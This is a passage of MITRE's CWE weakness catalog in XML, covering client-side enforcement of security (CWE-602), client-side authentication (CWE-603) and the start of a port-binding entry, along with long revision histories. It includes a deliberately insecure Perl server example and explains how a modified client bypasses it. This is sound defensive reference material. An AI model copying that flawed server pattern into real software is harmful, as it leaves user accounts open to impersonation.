               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Detection_Factors, Potential_Mitigations, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unsafe URL Redirection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-09-09">URL Redirection to Untrusted Site</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">URL Redirection to Untrusted Site (aka 'Open Redirect')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="602" Name="Client-Side Enforcement of Server-Side Security" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.</Description>
         <Extended_Description>When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="471" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="290" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="300" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Availability</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</xhtml:p>
                  <xhtml:p>Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.</Intro_Text>
               <Body_Text>CLIENT-SIDE (client.pl)</Body_Text>
               <Example_Code Nature="Good" Language="Perl">
                  <xhtml:div>$server = "server.example.com";<xhtml:br/>$username = AskForUserName();<xhtml:br/>$password = AskForPassword();<xhtml:br/>$address = AskForAddress();<xhtml:br/>$sock = OpenSocket($server, 1234);<xhtml:br/>writeSocket($sock, "AUTH $username $password\n");<xhtml:br/>$resp = readSocket($sock);<xhtml:br/>if ($resp eq "success") {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i># username/pass is valid, go ahead and update the info!</xhtml:i>
                           <xhtml:br/>writeSocket($sock, "CHANGE-ADDRESS $username $address\n";</xhtml:div>
                     </xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print "ERROR: Invalid Authentication!\n";</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>SERVER-SIDE (server.pl):</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>$sock = acceptSocket(1234);<xhtml:br/>($cmd, $args) = ParseClientRequest($sock);<xhtml:br/>if ($cmd eq "AUTH") {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>($username, $pass) = split(/\s+/, $args, 2);<xhtml:br/>$result = AuthenticateUser($username, $pass);<xhtml:br/>writeSocket($sock, "$result\n");<xhtml:br/>
                           <xhtml:i># does not close the socket on failure; assumes the</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># user will try again</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>elsif ($cmd eq "CHANGE-ADDRESS") {<xhtml:div style="margin-left:1em;">if (validateAddress($args)) {<xhtml:div style="margin-left:1em;">$res = UpdateDatabaseRecord($username, "address", $args);<xhtml:br/>writeSocket($sock, "SUCCESS\n");</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">writeSocket($sock, "FAILURE -- address is malformed\n");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	      <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	      <Body_Text>Multiple vendors used client-side authentication in their OT products.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-33139</Reference>
               <Description>SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-33139</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6994</Reference>
               <Description>ASP program allows upload of .asp files by bypassing client-side checks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6994</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0163</Reference>
               <Description>steganography products embed password information in the carrier file, which can be extracted from a modified client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0163</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0164</Reference>
               <Description>steganography products embed password information in the carrier file, which can be extracted from a modified client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0164</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0100</Reference>
               <Description>client allows server to modify client's configuration and overwrite arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0100</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="162"/>
            <Related_Attack_Pattern CAPEC_ID="202"/>
            <Related_Attack_Pattern CAPEC_ID="207"/>
            <Related_Attack_Pattern CAPEC_ID="208"/>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="383"/>
            <Related_Attack_Pattern CAPEC_ID="384"/>
            <Related_Attack_Pattern CAPEC_ID="385"/>
            <Related_Attack_Pattern CAPEC_ID="386"/>
            <Related_Attack_Pattern CAPEC_ID="387"/>
            <Related_Attack_Pattern CAPEC_ID="388"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 23, &#34;Client-Side Security Is an Oxymoron&#34; Page 687"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2007-05-07</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Client-Side Enforcement of Server-Side Security</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Client-Side Enforcement of Server-Side Security</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="603" Name="Use of Client-Side Authentication" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.</Description>
         <Extended_Description>Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="602" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="300" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="656" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not rely on client side data. Always perform server side authentication.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
	    <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	      <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	      <Body_Text>Multiple vendors used client-side authentication in their OT products.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-33139</Reference>
               <Description>SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-33139</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-0230</Reference>
               <Description>Client-side check for a password allows access to a server using crafted XML requests from a modified client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-0230</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Untrustworthy Credentials&#34;, Page 37"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Maintenance_Notes, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Client-Side Authentication</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="605" Name="Multiple Binds to the Same Port" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.</Description>
         <Extended_Description>On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="675" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="666" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Packets from a variety of network services may be stolen or the services spoofed.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Policy</Phase>
               <Description>Restrict server socket address to known local addresses.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
